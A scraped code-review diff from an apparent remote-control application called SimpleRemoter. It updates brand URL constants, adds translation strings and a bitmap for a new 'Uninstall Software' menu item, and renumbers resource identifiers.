||||
}
|
||||
|
||||
THIS_CFG.SetInt("settings", "VideoWallSize", m_ComboVideoWall.GetCurSel()+1);
|
||||
|
||||
|
||||
@@ -271,13 +271,13 @@
|
||||
#define BRAND_URL_FEEDBACK "https://t.me/SimpleRemoter"
|
||||
|
||||
// 帮助文档链接(帮助菜单 → 什么是这个)
|
||||
#define BRAND_URL_WIKI "https://git.simpleremoter.com/"
|
||||
#define BRAND_URL_WIKI "https://simpleremoter.com/docs"
|
||||
|
||||
// 请求授权链接(工具菜单 → 请求授权)
|
||||
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/"
|
||||
#define BRAND_URL_REQUEST_AUTH "https://simpleremoter.com/login"
|
||||
|
||||
// 获取插件
|
||||
#define BRAND_URL_GET_PLUGIN "https://simpleremoter.com/login"
|
||||
#define BRAND_URL_GET_PLUGIN "https://simpleremoter.com/plugins"
|
||||
|
||||
// ============================================================
|
||||
// 内部使用 - 请勿修改以下内容
|
||||
|
||||
@@ -1925,3 +1925,5 @@ FRPC Զ
|
||||
压缩(&C)=&Compress
|
||||
解压缩(&U)=&Uncompress
|
||||
\n默认密码是: admin=\nDefault password is: admin
|
||||
卸载软件=Uninstall Software
|
||||
是否移除此软件?=Uninstall this software. Are you sure?
|
||||
|
||||
@@ -1916,3 +1916,5 @@ FRPC Զ
|
||||
压缩(&C)=壓縮(&C)
|
||||
解压缩(&U)=解壓縮(&U)
|
||||
\n默认密码是: admin=\n默认密码是: admin
|
||||
卸载软件=卸载软件
|
||||
是否移除此软件?=是否移除此软件?
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/uninstall.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/uninstall.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -264,8 +264,8 @@
|
||||
#define IDR_WEB_XTERM_FIT_JS 384
|
||||
#define IDR_WEB_INDEX_HTML 385
|
||||
#define IDB_BITMAP_COMPRESS 386
|
||||
#define IDB_BITMAP9 387
|
||||
#define IDB_BITMAP_UNCOMPRESS 387
|
||||
#define IDB_BITMAP9 388
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -993,14 +993,16 @@
|
||||
#define ID_MENU_COMPRESS 33055
|
||||
#define ID_33056 33056
|
||||
#define ID_MENU_UNCOMPRESS 33057
|
||||
#define ID_33058 33058
|
||||
#define ID_UNINSTALL_SOFTWARE 33059
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 388
|
||||
#define _APS_NEXT_COMMAND_VALUE 33058
|
||||
#define _APS_NEXT_RESOURCE_VALUE 389
|
||||
#define _APS_NEXT_COMMAND_VALUE 33060
|
||||
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user